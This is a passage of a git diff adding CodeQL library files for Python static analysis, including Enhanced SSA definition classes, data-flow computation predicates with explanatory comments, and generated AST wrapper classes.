since the short-circuit input of `x3` is `x0`. + */ + pragma [noinline] + EssaVariable getShortCircuitInput() { + exists(BasicBlock common | + forall(EssaVariable input | + input = this.getAnInput() | + common = this.piInputDefinition(input).getPredecessor() + ) + and + forall(BasicBlock succ | + succ = common.getASuccessor() | + succ = this.piInputDefinition(_).getSuccessor() + ) + and + exists(EssaEdgeRefinement ref | + ref = this.piInputDefinition(_) and + ref.getPredecessor() = common and + ref.getInput() = result + ) + ) + } +} + +/** A definition of an ESSA variable that is not directly linked to + * another ESSA variable. + */ +class EssaNodeDefinition extends EssaDefinition, TEssaNodeDefinition { + + override string toString() { + result = "Essa node definition" + } + + override ControlFlowNode getAUse() { + exists(SsaSourceVariable v, BasicBlock b, int i | + this = TEssaNodeDefinition(v, b, i) and + SsaDefinitions::reachesUse(v, b, i, result) + ) + } + + override predicate reachesEndOfBlock(BasicBlock b) { + exists(BasicBlock defb, int i | + this = TEssaNodeDefinition(_, defb, i) and + SsaDefinitions::reachesEndOfBlock(this.getSourceVariable(), defb, i, b) + ) + } + + override SsaSourceVariable getSourceVariable() { + this = TEssaNodeDefinition(result, _, _) + } + + /** Gets the ControlFlowNode corresponding to this definition */ + ControlFlowNode getDefiningNode() { + this.definedBy(_, result) + } + + override Location getLocation() { + result = this.getDefiningNode().getLocation() + } + + override string getRepresentation() { + result = this.getDefiningNode().toString() + } + + override Scope getScope() { + exists(BasicBlock defb | + this = TEssaNodeDefinition(_, defb, _) and + result = defb.getScope() + ) + } + + predicate definedBy(SsaSourceVariable v, ControlFlowNode def) { + exists(BasicBlock b, int i | + def = b.getNode(i) | + this = TEssaNodeDefinition(v, b, i+i) + or + this = TEssaNodeDefinition(v, b, i+i+1) + ) + } + +} + +/** A definition of an ESSA variable that takes another ESSA variable as an input. + */ +class EssaNodeRefinement extends EssaDefinition, TEssaNodeRefinement { + + override string toString() { + result = "SSA filter definition" + } + + /** Gets the SSA variable to which this refinement applies. */ + EssaVariable getInput() { + result = potential_input(this) and + not result = potential_input(potential_input(this).getDefinition()) + } + + override ControlFlowNode getAUse() { + exists(SsaSourceVariable v, BasicBlock b, int i | + this = TEssaNodeRefinement(v, b, i) and + SsaDefinitions::reachesUse(v, b, i, result) + ) + } + + override predicate reachesEndOfBlock(BasicBlock b) { + exists(BasicBlock defb, int i | + this = TEssaNodeRefinement(_, defb, i) and + SsaDefinitions::reachesEndOfBlock(this.getSourceVariable(), defb, i, b) + ) + } + + override SsaSourceVariable getSourceVariable() { + this = TEssaNodeRefinement(result, _, _) + } + + /** Gets the ControlFlowNode corresponding to this definition */ + ControlFlowNode getDefiningNode() { + this.definedBy(_, result) + } + + override Location getLocation() { + result = this.getDefiningNode().getLocation() + } + + override string getRepresentation() { + result = this.getAQlClass() + "(" + this.getInput().getRepresentation() + ")" + } + + override Scope getScope() { + exists(BasicBlock defb | + this = TEssaNodeRefinement(_, defb, _) and + result = defb.getScope() + ) + } + + predicate definedBy(SsaSourceVariable v, ControlFlowNode def) { + exists(BasicBlock b, int i | + def = b.getNode(i) | + this = TEssaNodeRefinement(v, b, i+i) + or + this = TEssaNodeRefinement(v, b, i+i+1) + ) + } + +} + +pragma[noopt] +private EssaVariable potential_input(EssaNodeRefinement ref) { + exists(ControlFlowNode use, SsaSourceVariable var, ControlFlowNode def | + var.hasRefinement(use, def) and + use = result.getAUse() and + var = result.getSourceVariable() and + def = ref.getDefiningNode() and + var = ref.getSourceVariable() + ) +} diff --git a/python/ql/src/semmle/dataflow/SsaCompute.qll b/python/ql/src/semmle/dataflow/SsaCompute.qll new file mode 100644 index 00000000000..711065444d7 --- /dev/null +++ b/python/ql/src/semmle/dataflow/SsaCompute.qll @@ -0,0 +1,344 @@ +/** Provides predicates for computing Enhanced SSA form + * Computation of ESSA form is identical to plain SSA form, + * but what counts as a use of definition differs. + * + * ## Language independent data-flow graph construction + * + * Construction of the data-flow graph is based on the principles behind SSA variables. + * + * The definition of an SSA variable is that (statically): + * + * * Each variable has exactly one definition + * * A variable's definition dominates all its uses. + * + * SSA form was originally designed for compiler use and thus a "definition" of an SSA variable is + * the same as a definition of the underlying source-code variable. For register allocation this is + * sufficient to treat the variable as equivalent to the value held in the variable. + * + * However, this doesn't always work the way we want it for data-flow analysis. + * + * When we start to consider attribute assignment, tests on the value referred to be a variable, + * escaping variables, implicit definitions, etc., we need something finer grained. + * + * A data-flow variable has the same properties as a normal SSA variable, but it also has the property that + * *anything* that may change the way we view an object referred to by a variable should be treated as a definition of that variable. + * + * For example, tests are treated as definitions, so for the following Python code: + * ```python + * x = None + * if not x: + * x = True + * ``` + * The data-flow graph (for `x`) is: + * ``` + * x0 = None + * x1 = pi(x0, not x) + * x2 = True + * x3 = phi(x1, x2) + * ``` + * from which is it possible to infer that `x3` may not be None. + * [ Phi functions are standard SSA, a Pi function is a filter or guard on the possible values that a variable + * may hold] + * + * Attribute assignments are also treated as definitions, so for the following Python code: + * ```python + * x = C() + * x.a = 1 + * y = C() + * y.b = 2 + * ``` + * The data-flow graph is: + * ``` + * x0 = C() + * x1 = attr-assign(x0, .a = 1) + * y0 = C() + * y1 = attr-assign(y0, .b = 1) + * ``` + * From which we can infer that `x1.a` is `1` but we know nothing about `y0.a` despite it being the same type. + * + * We can also insert "definitions" for transfers of values (say in global variables) where we do not yet know the call-graph. For example, + * ```python + * def foo(): + * global g + * g = 1 + * + * def bar(): + * foo() + * g + * ``` + * It should be clear in the above code that the use of `g` will have a value of `1`. + * The data-flow graph looks like: + * ```python + * def foo(): + * g0 = scope-entry(g) + * g1 = 1 + * + * def bar(): + * g2 = scope-entry(g) + * foo() + * g3 = call-site(g, foo()) + * ``` + * Once we have established that `foo()` calls `foo`, then it is possible to link `call-site(g, foo())` to the final value of `g` in `foo`, i.e. `g1`, so effectively `g3 = call-site(g, foo())` becomes `g3 = g1` and the global data-flow graph for `g` effectively becomes: + * ``` + * g0 = scope-entry(g) + * g1 = 1 + * g2 = scope-entry(g) + * g3 = g1 + * ``` + * and thus it falls out that `g3` must be `1`. + * + */ + + +import python +import semmle.dataflow.SSA + + +private cached module SsaComputeImpl { + + cached module EssaDefinitionsImpl { + + /** Whether `n` is a live update that is a definition of the variable `v`. */ + cached predicate variableDefinition(SsaSourceVariable v, ControlFlowNode n, BasicBlock b, int rankix, int i) { + SsaComputeImpl::variableDefine(v, n, b, i) and + SsaComputeImpl::defUseRank(v, b, rankix, i) and + ( + SsaComputeImpl::defUseRank(v, b, rankix+1, _) and not SsaComputeImpl::defRank(v, b, rankix+1, _) + or + not SsaComputeImpl::defUseRank(v, b, rankix+1, _) and Liveness::liveAtExit(v, b) + ) + } + + /** Whether `n` is a live update that is a definition of the variable `v`. */ + cached predicate variableRefinement(SsaSourceVariable v, ControlFlowNode n, BasicBlock b, int rankix, int i) { + SsaComputeImpl::variableRefine(v, n, b, i) and + SsaComputeImpl::defUseRank(v, b, rankix, i) and + ( + SsaComputeImpl::defUseRank(v, b, rankix+1, _) and not SsaComputeImpl::defRank(v, b, rankix+1, _) + or + not SsaComputeImpl::defUseRank(v, b, rankix+1, _) and Liveness::liveAtExit(v, b) + ) + } + + cached predicate variableUpdate(SsaSourceVariable v, ControlFlowNode n, BasicBlock b, int rankix, int i) { + variableDefinition(v, n, b, rankix, i) + or + variableRefinement(v, n, b, rankix, i) + } + + /** Holds if `def` is a pi-node for `v` on the edge `pred` -> `succ` */ + cached predicate piNode(SsaSourceVariable v, BasicBlock pred, BasicBlock succ) { + v.hasRefinementEdge(_, pred, succ) and + Liveness::liveAtEntry(v, succ) + } + + /** A phi node for `v` at the beginning of basic block `b`. */ + cached predicate phiNode(SsaSourceVariable v, BasicBlock b) { + ( + exists(BasicBlock def | def.dominanceFrontier(b) | + SsaComputeImpl::ssaDef(v, def) + ) + or + piNode(v, _, b) and strictcount(b.getAPredecessor()) > 1 + ) and + Liveness::liveAtEntry(v, b) + } + } + + cached predicate variableDefine(SsaSourceVariable v, ControlFlowNode n, BasicBlock b, int i) { + v.hasDefiningNode(n) + and + exists(int j | + n = b.getNode(j) and + i = j*2 + 1 + ) + } + + cached predicate variableRefine(SsaSourceVariable v, ControlFlowNode n, BasicBlock b, int i) { + v.hasRefinement(_, n) + and + exists(int j | + n = b.getNode(j) and + i = j*2 + 1 + ) + } + + cached predicate variableDef(SsaSourceVariable v, ControlFlowNode n, BasicBlock b, int i) { + variableDefine(v, n, b, i) or variableRefine(v, n, b, i) + } + + /** + * A ranking of the indices `i` at which there is an SSA definition or use of + * `v` in the basic block `b`. + * + * Basic block indices are translated to rank indices in order to skip + * irrelevant indices at which there is no definition or use when traversing + * basic blocks. + */ + cached predicate defUseRank(SsaSourceVariable v, BasicBlock b, int rankix, int i) { + i = rank[rankix](int j | variableDef(v, _, b, j) or variableUse(v, _, b, j)) + } + + /** A definition of a variable occurring at the specified rank index in basic block `b`. */ + cached predicate defRank(SsaSourceVariable v, BasicBlock b, int rankix, int i) { + variableDef(v, _, b, i) and + defUseRank(v, b, rankix, i) + } + + /** A `VarAccess` `use` of `v` in `b` at index `i`. */ + cached predicate variableUse(SsaSourceVariable v, ControlFlowNode use, BasicBlock b, int i) { + (v.getAUse() = use or v.hasRefinement(use, _)) and + exists(int j | + b.getNode(j) = use and + i = 2*j + ) + } + + /** + * A definition of an SSA variable occurring at the specified position. + * This is either a phi node, a `VariableUpdate`, or a parameter. + */ + cached predicate ssaDef(SsaSourceVariable v, BasicBlock b) { + EssaDefinitions::phiNode(v, b) + or + EssaDefinitions::variableUpdate(v, _, b, _, _) + or + EssaDefinitions::piNode(v, _, b) + } + + /* + * The construction of SSA form ensures that each use of a variable is + * dominated by its definition. A definition of an SSA variable therefore + * reaches a `ControlFlowNode` if it is the _closest_ SSA variable definition + * that dominates the node. If two definitions dominate a node then one must + * dominate the other, so therefore the definition of _closest_ is given by the + * dominator tree. Thus, reaching definitions can be calculated in terms of + * dominance. + */ + + /** The maximum rank index for the given variable and basic block. */ + cached int lastRank(SsaSourceVariable v, BasicBlock b) { + result = max(int rankix | defUseRank(v, b, rankix, _)) + or + not defUseRank(v, b, _, _) and (EssaDefinitions::phiNode(v, b) or EssaDefinitions::piNode(v, _, b)) and result = 0 + } + + private predicate ssaDefRank(SsaSourceVariable v, BasicBlock b, int rankix, int i) { + EssaDefinitions::variableUpdate(v, _, b, rankix, i) + or + EssaDefinitions::phiNode(v, b) and rankix = 0 and i = phiIndex() + or + EssaDefinitions::piNode(v, _, b) and EssaDefinitions::phiNode(v, b) and rankix = -1 and i = piIndex() + or + EssaDefinitions::piNode(v, _, b) and not EssaDefinitions::phiNode(v, b) and rankix = 0 and i = piIndex() + } + + /** The SSA definition reaches the rank index `rankix` in its own basic block `b`. */ + cached predicate ssaDefReachesRank(SsaSourceVariable v, BasicBlock b, int i, int rankix) { + ssaDefRank(v, b, rankix, i) or + ssaDefReachesRank(v, b, i, rankix-1) and rankix <= lastRank(v, b) and not ssaDefRank(v, b, rankix, _) + } + + /** + * The SSA definition of `v` at `def` reaches `use` in the same basic block + * without crossing another SSA definition of `v`. + */ + cached predicate ssaDefReachesUseWithinBlock(SsaSourceVariable v, BasicBlock b, int i, ControlFlowNode use) { + exists(int rankix, int useix | + ssaDefReachesRank(v, b, i, rankix) and + defUseRank(v, b, rankix, useix) and + variableUse(v, use, b, useix) + ) + } + + cached module LivenessImpl { + + cached predicate liveAtExit(SsaSourceVariable v, BasicBlock b) { + liveAtEntry(v, b.getASuccessor()) + } + + cached predicate liveAtEntry(SsaSourceVariable v, BasicBlock b) { + SsaComputeImpl::defUseRank(v, b, 1, _) and not SsaComputeImpl::defRank(v, b, 1, _) + or + not SsaComputeImpl::defUseRank(v, b, _, _) and liveAtExit(v, b) + } + + } + + cached module SsaDefinitionsImpl { + + /** + * The SSA definition of `v` at `def` reaches the end of a basic block `b`, at + * which point it is still live, without crossing another SSA definition of `v`. + */ + cached + predicate reachesEndOfBlock(SsaSourceVariable v, BasicBlock defbb, int defindex, BasicBlock b) { + Liveness::liveAtExit(v, b) and + ( + defbb = b and SsaComputeImpl::ssaDefReachesRank(v, defbb, defindex, SsaComputeImpl::lastRank(v, b)) + or + exists(BasicBlock idom | + idom = b.getImmediateDominator() and + // It is sufficient to traverse the dominator graph, cf. discussion above. + reachesEndOfBlock(v, defbb, defindex, idom) and + not SsaComputeImpl::ssaDef(v, b) + ) + ) + } + + /** + * The SSA definition of `v` at `(defbb, defindex)` reaches `use` without crossing another + * SSA definition of `v`. + */ + cached + predicate reachesUse(SsaSourceVariable v, BasicBlock defbb, int defindex, ControlFlowNode use) { + SsaComputeImpl::ssaDefReachesUseWithinBlock(v, defbb, defindex, use) or + exists(BasicBlock b | + SsaComputeImpl::variableUse(v, use, b, _) and + reachesEndOfBlock(v, defbb, defindex, b.getAPredecessor()) and + not SsaComputeImpl::ssaDefReachesUseWithinBlock(v, b, _, use) + ) + } + + /*** + * Holds if `(defbb, defindex)` is an SSA definition of `v` that reaches an exit without crossing another + * SSA definition of `v`. + */ + cached + predicate reachesExit(SsaSourceVariable v, BasicBlock defbb, int defindex) { + exists(BasicBlock last, ControlFlowNode use, int index | + not Liveness::liveAtExit(v, last) and + reachesUse(v, defbb, defindex, use) and + SsaComputeImpl::defUseRank(v, last, SsaComputeImpl::lastRank(v, last), index) and + SsaComputeImpl::variableUse(v, use, last, index) + ) + } + + } + +} + +import SsaComputeImpl::SsaDefinitionsImpl as SsaDefinitions +import SsaComputeImpl::EssaDefinitionsImpl as EssaDefinitions +import SsaComputeImpl::LivenessImpl as Liveness + +/* This is exported primarily for testing */ + + +/* A note on numbering + * In order to create an SSA graph, we need an order of definitions and uses within a basic block. + * To do this we index definitions and uses as follows: + * Phi-functions have an index of -1, so precede all normal uses and definitions in a block. + * Pi-functions (on edges) have an index of -2 in the successor block, so precede all other uses and definitions, including phi-functions + * A use of a variable at at a CFG node is assumed to occur before any definition at the same node, so: + * * a use at the `j`th node of a block is given the index `2*j` and + * * a definition at the `j`th node of a block is given the index `2*j + 1`. + */ + +pragma [inline] +int phiIndex() { result = -1 } + +pragma [inline] +int piIndex() { result = -2 } + + diff --git a/python/ql/src/semmle/files/FileSystem.qll b/python/ql/src/semmle/files/FileSystem.qll new file mode 100644 index 00000000000..4ec67c7c2e6 --- /dev/null +++ b/python/ql/src/semmle/files/FileSystem.qll @@ -0,0 +1,2 @@ +/** Provides classes for working with files and folders. */ +import semmle.python.Files diff --git a/python/ql/src/semmle/python/AST.qll b/python/ql/src/semmle/python/AST.qll new file mode 100644 index 00000000000..0ac8db03e32 --- /dev/null +++ b/python/ql/src/semmle/python/AST.qll @@ -0,0 +1,57 @@ +import python + +/** Syntactic node (Class, Function, Module, Expr, Stmt or Comprehension) corresponding to a flow node */ +abstract class AstNode extends AstNode_ { + + /** Gets the scope that this node occurs in */ + abstract Scope getScope(); + + /** Gets a flow node corresponding directly to this node. + * NOTE: For some statements and other purely syntactic elements, + * there may not be a `ControlFlowNode` */ + ControlFlowNode getAFlowNode() { + py_flow_bb_node(result, this, _, _) + } + + /** Gets the location for this AST node */ + Location getLocation() { + none() + } + + /** Whether this syntactic element is artificial, that is it is generated + * by the compiler and is not present in the source */ + predicate isArtificial() { + none() + } + + /** Gets a child node of this node in the AST. This predicate exists to aid exploration of the AST + * and other experiments. The child-parent relation may not be meaningful. + * For a more meaningful relation in terms of dependency use + * Expr.getASubExpression(), Stmt.getASubStatement(), Stmt.getASubExpression() or + * Scope.getAStmt(). + */ + abstract AstNode getAChildNode(); + + /** Gets the parent node of this node in the AST. This predicate exists to aid exploration of the AST + * and other experiments. The child-parent relation may not be meaningful. + * For a more meaningful relation in terms of dependency use + * Expr.getASubExpression(), Stmt.getASubStatement(), Stmt.getASubExpression() or + * Scope.getAStmt() applied to the parent. + */ + AstNode getParentNode() { + result.getAChildNode() = this + } + + /** Whether this contains `inner` syntactically */ + predicate contains(AstNode inner) { + this.getAChildNode+() = inner + } + + /** Whether this contains `inner` syntactically and `inner` has the same scope as `this` */ + predicate containsInScope(AstNode inner) { + this.contains(inner) and + this.getScope() = inner.getScope() and + not inner instanceof Scope + } + +} diff --git a/python/ql/src/semmle/python/Assigns.qll b/python/ql/src/semmle/python/Assigns.qll new file mode 100644 index 00000000000..ad72645ffd5 --- /dev/null +++ b/python/ql/src/semmle/python/Assigns.qll @@ -0,0 +1,19 @@ +/** + * In order to handle data flow and other analyses efficiently the extractor transforms various statements which perform binding in assignments. + * These classes provide a wrapper to provide a more 'natural' interface to the syntactic elements transformed to assignments. + */ + +import python + + +/** An assignment statement */ +class AssignStmt extends Assign { + + AssignStmt() { + not this instanceof FunctionDef and not this instanceof ClassDef + } + + override string toString() { + result = "AssignStmt" + } +} diff --git a/python/ql/src/semmle/python/AstExtended.qll b/python/ql/src/semmle/python/AstExtended.qll new file mode 100644 index 00000000000..b109fda18e2 --- /dev/null +++ b/python/ql/src/semmle/python/AstExtended.qll @@ -0,0 +1,118 @@ +import python + +/* Parents */ + +/** Internal implementation class */ +library class FunctionParent extends FunctionParent_ { + +} + +/** Internal implementation class */ +library class ArgumentsParent extends ArgumentsParent_ { + +} + +/** Internal implementation class */ +library class ExprListParent extends ExprListParent_ { + +} + +/** Internal implementation class */ +library class ExprContextParent extends ExprContextParent_ { + +} + +/** Internal implementation class */ +library class StmtListParent extends StmtListParent_ { + +} + +/** Internal implementation class */ +library class StrListParent extends StrListParent_ { + +} + +/** Internal implementation class */ +library class ExprParent extends ExprParent_ { + +} + +library class DictItem extends DictItem_, AstNode { + + override string toString() { + result = DictItem_.super.toString() + } + + override AstNode getAChildNode() { none() } + + override Scope getScope() { none() } + +} + +/** A comprehension part, the 'for a in seq' part of [ a * a for a in seq ] */ +class Comprehension extends Comprehension_, AstNode { + + /** Gets the scope of this comprehension */ + override Scope getScope() { + /* Comprehensions exists only in Python 2 list comprehensions, so their scope is that of the list comp. */ + exists(ListComp l | + this = l.getAGenerator() | + result = l.getScope() + ) + } + + override string toString() { + result = "Comprehension" + } + + override Location getLocation() { + result = Comprehension_.super.getLocation() + } + + override AstNode getAChildNode() { + result = this.getASubExpression() + } + + Expr getASubExpression() { + result = this.getIter() or + result = this.getAnIf() or + result = this.getTarget() + } + +} + +class BytesOrStr extends BytesOrStr_ { + +} + +/** Part of a string literal formed by implicit concatenation. + * For example the string literal "abc" expressed in the source as `"a" "b" "c"` + * would be composed of three `StringPart`s. + * + */ +class StringPart extends StringPart_, AstNode { + + override Scope getScope() { + exists(Bytes b | this = b.getAnImplicitlyConcatenatedPart() | result = b.getScope()) + or + exists(Unicode u | this = u.getAnImplicitlyConcatenatedPart() | result = u.getScope()) + } + + override AstNode getAChildNode() { + none() + } + + override string toString() { + result = StringPart_.super.toString() + } + + override Location getLocation() { + result = StringPart_.super.getLocation() + } + +} + +class StringPartList extends StringPartList_ { + +} + diff --git a/python/ql/src/semmle/python/AstGenerated.qll b/python/ql/src/semmle/python/AstGenerated.qll new file mode 100644 index 00000000000..d75744398f0 --- /dev/null +++ b/python/ql/src/semmle/python/AstGenerated.qll @@ -0,0 +1,2791 @@ +import python + +library class Add_ extends @py_Add, Operator { + + override string toString() { + result = "Add" + } + +} + +library class And_ extends @py_And, Boolop { + + override string toString() { + result = "And" + } + +} + +library class AnnAssign_ extends @py_AnnAssign, Stmt { + + + /** Gets the value of this annotated assignment. */ + Expr getValue() { + py_exprs(result, _, this, 1) + } + + + /** Gets the annotation of this annotated assignment. */ + Expr getAnnotation() { + py_exprs(result, _, this, 2) + } + + + /** Gets the target of this annotated assignment. */ + Expr getTarget() { + py_exprs(result, _, this, 3) + } + + override string toString() { + result = "AnnAssign" + } + +} + +library class Assert_ extends @py_Assert, Stmt { + + + /** Gets the value being tested of this assert statement. */ + Expr getTest() { + py_exprs(result, _, this, 1) + } + + + /** Gets the failure message of this assert statement. */ + Expr getMsg() { + py_exprs(result, _, this, 2) + } + + override string toString() { + result = "Assert" + } + +} + +library class Assign_ extends @py_Assign, Stmt { + + + /** Gets the value of this assignment statement. */ + Expr getValue() { + py_exprs(result, _, this, 1) + } + + + /** Gets the targets of this assignment statement. */ + ExprList getTargets() { + py_expr_lists(result, this, 2) + } + + + /** Gets the nth target of this assignment statement. */ + Expr getTarget(int index) { + result = this.getTargets().getItem(index) + } + + /** Gets a target of this assignment statement. */ + Expr getATarget() { + result = this.getTargets().getAnItem() + } + + override string toString() { + result = "Assign" + } + +} + +library class Attribute_ extends @py_Attribute, Expr { + + + /** Gets the object of this attribute expression. */ + Expr getValue() { + py_exprs(result, _, this, 2) + } + + + /** Gets the attribute name of this attribute expression. */ + string getAttr() { + py_strs(result, this, 3) + } + + + /** Gets the context of this attribute expression. */ + ExprContext getCtx() { + py_expr_contexts(result, _, this) + } + + override string toString() { + result = "Attribute" + } + +} + +library class AugAssign_ extends @py_AugAssign, Stmt { + + + /** Gets the operation of this augmented assignment statement. */ + BinaryExpr getOperation() { + py_exprs(result, _, this, 1) + } + + override string toString() { + result = "AugAssign" + } + +} + +library class AugLoad_ extends @py_AugLoad, ExprContext { + + override string toString() { + result = "AugLoad" + } + +} + +library class AugStore_ extends @py_AugStore, ExprContext { + + override string toString() { + result = "AugStore" + } + +} + +library class Await_ extends @py_Await, Expr { + + + /** Gets the expression waited upon of this await expression. */ + Expr getValue() { + py_exprs(result, _, this, 2) + } + + override string toString() { + result = "Await" + } + +} + +library class BinaryExpr_ extends @py_BinaryExpr, Expr { + + + /** Gets the left sub-expression of this binary expression. */ + Expr getLeft() { + py_exprs(result, _, this, 2) + } + + + /** Gets the operator of this binary expression. */ + Operator getOp() { + py_operators(result, _, this) + } + + + /** Gets the right sub-expression of this binary expression. */ + Expr getRight() { + py_exprs(result, _, this, 4) + } + + override ExprParent getParent() { + py_exprs(this, _, result, _) + } + + override string toString() { + result = "BinaryExpr" + } + +} + +library class BitAnd_ extends @py_BitAnd, Operator { + + override string toString() { + result = "BitAnd" + } + +} + +library class BitOr_ extends @py_BitOr, Operator { + + override string toString() { + result = "BitOr" + } + +} + +library class BitXor_ extends @py_BitXor, Operator { + + override string toString() { + result = "BitXor" + } + +} + +library class BoolExpr_ extends @py_BoolExpr, Expr { + + + /** Gets the operator of this boolean expression. */ + Boolop getOp() { + py_boolops(result, _, this) + } + + + /** Gets the sub-expressions of this boolean expression. */ + ExprList getValues() { + py_expr_lists(result, this, 3) + } + + + /** Gets the nth sub-expression of this boolean expression. */ + Expr getValue(int index) { + result = this.getValues().getItem(index) + } + + /** Gets a sub-expression of this boolean expression. */ + Expr getAValue() { + result = this.getValues().getAnItem() + } + + override string toString() { + result = "BoolExpr" + } + +} + +library class Break_ extends @py_Break, Stmt { + + override string toString() { + result = "Break" + } + +} + +library class Bytes_ extends @py_Bytes, Expr { + + + /** Gets the value of this bytes expression. */ + string getS() { + py_bytes(result, this, 2) + } + + + /** Gets the prefix of this bytes expression. */ + string getPrefix() { + py_bytes(result, this, 3) + } + + + /** Gets the implicitly_concatenated_parts of this bytes expression. */ + StringPartList getImplicitlyConcatenatedParts() { + py_StringPart_lists(result, this) + } + + + /** Gets the nth implicitly_concatenated_part of this bytes expression. */ + StringPart getImplicitlyConcatenatedPart(int index) { + result = this.getImplicitlyConcatenatedParts().getItem(index) + } + + /** Gets an implicitly_concatenated_part of this bytes expression. */ + StringPart getAnImplicitlyConcatenatedPart() { + result = this.getImplicitlyConcatenatedParts().getAnItem() + } + + override string toString() { + result = "Bytes" + } + +} + +library class BytesOrStr_ extends @py_Bytes_or_Str { + + string toString() { + result = "BytesOrStr" + } + +} + +library class Call_ extends @py_Call, Expr { + + + /** Gets the callable of this call expression. */ + Expr getFunc() { + py_exprs(result, _, this, 2) + } + + + /** Gets the positional arguments of this call expression. */ + ExprList getPositionalArgs() { + py_expr_lists(result, this, 3) + } + + + /** Gets the nth positional argument of this call expression. */ + Expr getPositionalArg(int index) { + result = this.getPositionalArgs().getItem(index) + } + + /** Gets a positional argument of this call expression. */ + Expr getAPositionalArg() { + result = this.getPositionalArgs().getAnItem() + } + + + /** Gets the named arguments of this call expression. */ + DictItemList getNamedArgs() { + py_dict_item_lists(result, this) + } + + + /** Gets the nth named argument of this call expression. */ + DictItem getNamedArg(int index) { + result = this.getNamedArgs().getItem(index) + } + + /** Gets a named argument of this call expression. */ + DictItem getANamedArg() { + result = this.getNamedArgs().getAnItem() + } + + override string toString() { + result = "Call" + } + +} + +library class Class_ extends @py_Class { + + + /** Gets the name of this class. */ + string getName() { + py_strs(result, this, 0) + } + + + /** Gets the body of this class. */ + StmtList getBody() { + py_stmt_lists(result, this, 1) + } + + + /** Gets the nth statement of this class. */ + Stmt getStmt(int index) { + result = this.getBody().getItem(index) + } + + /** Gets a statement of this class. */ + Stmt getAStmt() { + result = this.getBody().getAnItem() + } + + ClassExpr getParent() { + py_Classes(this, result) + } + + string toString() { + result = "Class" + } + +} + +library class ClassExpr_ extends @py_ClassExpr, Expr { + + + /** Gets the name of this class definition. */ + string getName() { + py_strs(result, this, 2) + } + + + /** Gets the bases of this class definition. */ + ExprList getBases() { + py_expr_lists(result, this, 3) + } + + + /** Gets the nth base of this class definition. */ + Expr getBase(int index) { + result = this.getBases().getItem(index) + } + + /** Gets a base of this class definition. */ + Expr getABase() { + result = this.getBases().getAnItem() + } + + + /** Gets the keyword arguments of this class definition. */ + DictItemList getKeywords() { + py_dict_item_lists(result, this) + } + + + /** Gets the nth keyword argument of this class definition. */ + DictItem getKeyword(int index) { + result = this.getKeywords().getItem(index) + } + + /** Gets a keyword argument of this class definition. */ + DictItem getAKeyword() { + result = this.getKeywords().getAnItem() + } + + + /** Gets the class scope of this class definition. */ + Class getInnerScope() { + py_Classes(result, this) + } + + override string toString() { + result = "ClassExpr" + } + +} + +library class Compare_ extends @py_Compare, Expr { + + + /** Gets the left sub-expression of this compare expression. */ + Expr getLeft() { + py_exprs(result, _, this, 2) + } + + + /** Gets the comparison operators of this compare expression. */ + CmpopList getOps() { + py_cmpop_lists(result, this) + } + + + /** Gets the nth comparison operator of this compare expression. */ + Cmpop getOp(int index) { + result = this.getOps().getItem(index) + } + + /** Gets a comparison operator of this compare expression. */ + Cmpop getAnOp() { + result = this.getOps().getAnItem() + } + + + /** Gets the right sub-expressions of this compare expression. */ + ExprList getComparators() { + py_expr_lists(result, this, 4) + } + + + /** Gets the nth right sub-expression of this compare expression. */ + Expr getComparator(int index) { + result = this.getComparators().getItem(index) + } + + /** Gets a right sub-expression of this compare expression. */ + Expr getAComparator() { + result = this.getComparators().getAnItem() + } + + override string toString() { + result = "Compare" + } + +} + +library class Continue_ extends @py_Continue, Stmt { + + override string toString() { + result = "Continue" + } + +} + +library class Del_ extends @py_Del, ExprContext { + + override string toString() { + result = "Del" + } + +} + +library class Delete_ extends @py_Delete, Stmt { + + + /** Gets the targets of this delete statement. */ + ExprList getTargets() { + py_expr_lists(result, this, 1) + } + + + /** Gets the nth target of this delete statement. */ + Expr getTarget(int index) { + result = this.getTargets().getItem(index) + } + + /** Gets a target of this delete statement. */ + Expr getATarget() { + result = this.getTargets().getAnItem() + } + + override string toString() { + result = "Delete" + } + +} + +library class Dict_ extends @py_Dict, Expr { + + + /** Gets the items of this dictionary expression. */ + DictItemList getItems() { + py_dict_item_lists(result, this) + } + + + /** Gets the nth item of this dictionary expression. */ + DictItem getItem(int index) { + result = this.getItems().getItem(index) + } + + /** Gets an item of this dictionary expression. */ + DictItem getAnItem() { + result = this.getItems().getAnItem() + } + + override string toString() { + result = "Dict" + } + +} + +library class DictComp_ extends @py_DictComp, Expr { + + + /** Gets the implementation of this dictionary comprehension. */ + Function getFunction() { + py_Functions(result, this) + } + + + /** Gets the iterable of this dictionary comprehension. */ + Expr getIterable() { + py_exprs(result, _, this, 3) + } + + override string toString() { + result = "DictComp" + } + +} + +library class DictUnpacking_ extends @py_DictUnpacking, DictItem { + + + /** Gets the location of this dictionary unpacking. */ + override Location getLocation() { + py_locations(result, this) + } + + + /** Gets the value of this dictionary unpacking. */ + Expr getValue() { + py_exprs(result, _, this, 1) + } + + override string toString() { + result = "DictUnpacking" + } + +} + +library class Div_ extends @py_Div, Operator { + + override string toString() { + result = "Div" + } + +} + +library class Ellipsis_ extends @py_Ellipsis, Expr { + + override string toString() { + result = "Ellipsis" + } + +} + +library class Eq_ extends @py_Eq, Cmpop { + + override string toString() { + result = "Eq" + } + +} + +library class ExceptStmt_ extends @py_ExceptStmt, Stmt { + + + /** Gets the type of this except block. */ + Expr getType() { + py_exprs(result, _, this, 1) + } + + + /** Gets the name of this except block. */ + Expr getName() { + py_exprs(result, _, this, 2) + } + + + /** Gets the body of this except block. */ + StmtList getBody() { + py_stmt_lists(result, this, 3) + } + + + /** Gets the nth statement of this except block. */ + Stmt getStmt(int index) { + result = this.getBody().getItem(index) + } + + /** Gets a statement of this except block. */ + Stmt getAStmt() { + result = this.getBody().getAnItem() + } + + override string toString() { + result = "ExceptStmt" + } + +} + +library class Exec_ extends @py_Exec, Stmt { + + + /** Gets the body of this exec statement. */ + Expr getBody() { + py_exprs(result, _, this, 1) + } + + + /** Gets the globals of this exec statement. */ + Expr getGlobals() { + py_exprs(result, _, this, 2) + } + + + /** Gets the locals of this exec statement. */ + Expr getLocals() { + py_exprs(result, _, this, 3) + } + + override string toString() { + result = "Exec" + } + +} + +library class ExprStmt_ extends @py_Expr_stmt, Stmt { + + + /** Gets the value of this expr statement. */ + Expr getValue() { + py_exprs(result, _, this, 1) + } + + override string toString() { + result = "ExprStmt" + } + +} + +library class Filter_ extends @py_Filter, Expr { + + + /** Gets the filtered value of this template filter expression. */ + Expr getValue() { + py_exprs(result, _, this, 2) + } + + + /** Gets the filter of this template filter expression. */ + Expr getFilter() { + py_exprs(result, _, this, 3) + } + + override string toString() { + result = "Filter" + } + 